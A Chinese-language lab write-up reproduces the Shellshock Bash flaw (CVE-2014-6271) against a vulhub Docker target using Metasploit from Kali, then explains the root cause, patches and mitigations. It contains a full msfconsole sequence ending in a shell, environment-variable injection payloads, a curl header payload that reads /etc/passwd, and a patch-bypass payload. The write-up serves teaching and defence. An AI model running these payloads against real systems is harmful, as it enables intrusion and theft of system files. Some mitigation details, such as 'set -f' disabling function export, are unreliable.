MSF复现Bash Shellshock(破壳CVE-2014-6271)漏洞

0 阅读5分钟

Bash Shellshock(破壳CVE-2014-6271)

靶机:vulhub 攻击机:kali

一、漏洞复现

1.命令汇总

su root
#vulhub上使⽤root执⾏

cd /home/enjoy/vulhub-master/bash/shellshock

docker-compose build

docker-compose up -d

docker-compose config

#访问http://yourip:8080/victim.cgi

#kali执⾏

msfconsole

use exploit/multi/http/apache_mod_cgi_bash_env_exec

set RHOSTS 192.168.213.135 (vulhub ip)

set RPORT 8080

set TARGETURI /victim.cgi

run

shell

2.详细步骤

(1)在靶机vulhub上使用root权限,并cd到shellshock目录。

这里我直接cd 绝对路径找不到shellshock目录,就尝试了一级一级进入。docker-compose up -d启动服务 fb05fed03f694bbe4d0cbd5d2f2315a3.png

(2)ifconfig查看靶机ip

8478271003bd7f632fd3988959a962c1.png

(3)访问靶机的victim.cgi,验证docker拉起服务成功

4ce1bb3eae3c76d1adbdaf8d09b8a735.png

(4)进入kali虚拟机,启动msf,利用exploit/multi/http/apache_mod_cgi_bash_env_exec攻击模块

2ca47101a3b5e85ff00b2c2728f1fe30.png

(5)设置必要配置,开始攻击,进入shell,验证靶机id

9187629feb22665e95737027fcd63efb.png

二、漏洞原理

CVE-2014-6271(⼜称Shellshock或破壳漏洞)是2014年公开的GNU Bash(Bourne Again Shell)中一个⾼危远程代码执⾏(RCE)漏洞,其CVSS 3.0评分为10.0(最⾼危),影响范围覆盖全球数亿台Linux/Unix设备及⽹络服务。该漏洞的核心原理在于Bash对函数型环境变量的解析逻辑缺陷,允许攻击者通过构造恶意环境变量注⼊任意代码。以下从技术原理、触发机制、利用场景、影响范围及修复方案五个维度展开分析:

1.Bash环境变量与函数定义机制Bash允许将环境变量与函数定义通过 export 命令导出,例如:

func() { echo "Hello"; }
export -f func # 将函数`func`导出为环境变量

运行,在⼦进程中,通过解析环境变量即可还原函数定义。然⽽,漏洞的根源在于Bash在解析这类环境变量时,未对函数定义的边界进⾏严格验证。

2.漏洞触发逻辑:函数定义后附加恶意指令

构造恶意环境变量:攻击者定义以 (){开头的环境变量,并在函数体后追加额外命令,例如:

env 'VAR=() { :; }; echo Vulnerable' bash -c "true"

运⾏(){ :; } :合法的函数定义(空函数)。echo Vulnerable,注⼊的恶意指令。

解析逻辑缺陷:Bash在解析 VAR 环境变量时,错误地将 echo Vulnerable 视为函数定义的延续,⽽⾮终⽌符导致后续命令被⽆条件执⾏。 漏洞本质:代码与数据混淆该漏洞属于注⼊型漏洞,类似于SQL注⼊。Bash将⽤户可控的环境变量数据错误解析为可执⾏代码,根源在于builtins/evalstring.c中的parse_and_execute函数未对输⼊进⾏合法性校验,未检测函数定义的终⽌标志。

三、漏洞触发机制与利用路径

本地触发场景通过本地Shell直接设置恶意环境变量即可验证漏洞存在:

1.env x='() { :;}; echo Vulnerable CVE-2014-6271' bash -c "echo test"

运⾏,若输出Vulnerable CVE-2014-6271,则系统存在漏洞。

2.远程利用路径

漏洞本身无法直接远程触发,需借助第三⽅服务作为媒介。典型攻击路径包括: HTTP服务(Apache CGI):攻击者通过HTTP请求头(如 User-Agent 、 Cookie )传递恶意环境变量。例如:

curl -H "User-Agent: () { :; }; /bin/bash -c 'cat /etc/passwd' http://victim/cgi-bin/test.cgi

Apache CGI脚本调⽤Bash处理请求时触发恶意代码执⾏。

OpenSSH(ForceCommand):SSH服务器配置 ForceCommand 时,攻击者通过 SSH_ORIGINAL_COMMAND 环境变量注⼊命令。
DHCP客户端:DHCP响应中的恶意参数可触发客户端脚本中的漏洞。

绕过补丁的变种(CVE-2014-7169)初始补丁(检测函数定义后的字符)存在缺陷,攻击者通过构造不完整函数定义或多段命令绕过检测,例如:

3.env VAR='() { (a)=>' bash -c "echo date"

该Payload利⽤Bash的重定向解析缺陷写⼊恶意⽂件。

四、影响范围与历史危害

1.受影响系统

操作系统:所有使⽤Bash 1.14⾄4.3版本的Linux/Unix系统,包括Red Hat、CentOS、Ubuntu、Debian、Fedora、Mac OS X 10.10等。

容器与IoT设备:Docker镜像、嵌⼊式Linux设备(如路由器)因⻓期未更新Bash版本成为重灾区。

2.历史攻击事件

⾃动化蠕⾍传播:漏洞公开后48⼩时内即出现⾃动化攻击⼯具(如Shellshock蠕⾍),感染设备组建僵⼫⽹络⽤于DDoS攻击或加密货币挖矿。

APT攻击载体:⾼级威胁组织利⽤该漏洞渗透企业内⽹,通过CGI脚本窃取敏感数据。

3. Android免疫性

尽管Android系统使⽤Bash,但其默认不启⽤ ENV 命令解析功能,因此基本不受影响。

五、漏洞修复与防御方案

1.官⽅补丁分析

补丁机制:通过修改 parse_and_execute 函数,增加SEVAL_FUNCDEF 和 SEVAL_ONECMD 标志,限制环境变量仅能包含单⼀函数定义,禁⽌附加额外命令。

升级验证:

bash --version # 确认版本≥4.3-013
env x='() { :;}; echo Vulnerable' bash -c "echo test" # 输出应为"test"⽽⾮"Vulnerable"

2.临时缓解措施

禁⽤Bash函数导出:

set -f # 禁⽤函数导出(需修改系统启动脚本)
配置Web服务器过滤规则:
    Apache:使⽤ mod_security 模块拦截包含 () { 的HTTP头。
    Nginx:正则匹配并拒绝恶意请求。

3. 纵深防御体系

权限隔离:以⾮特权⽤户运⾏Web服务(如 www-data),限制Bash执⾏权限。

⼊侵检测(IDS):监控⽹络流量中的异常环境变量模式(如 () { 字符串)。

容器安全:使⽤Alpine Linux等不依赖Bash的轻量级基础镜像。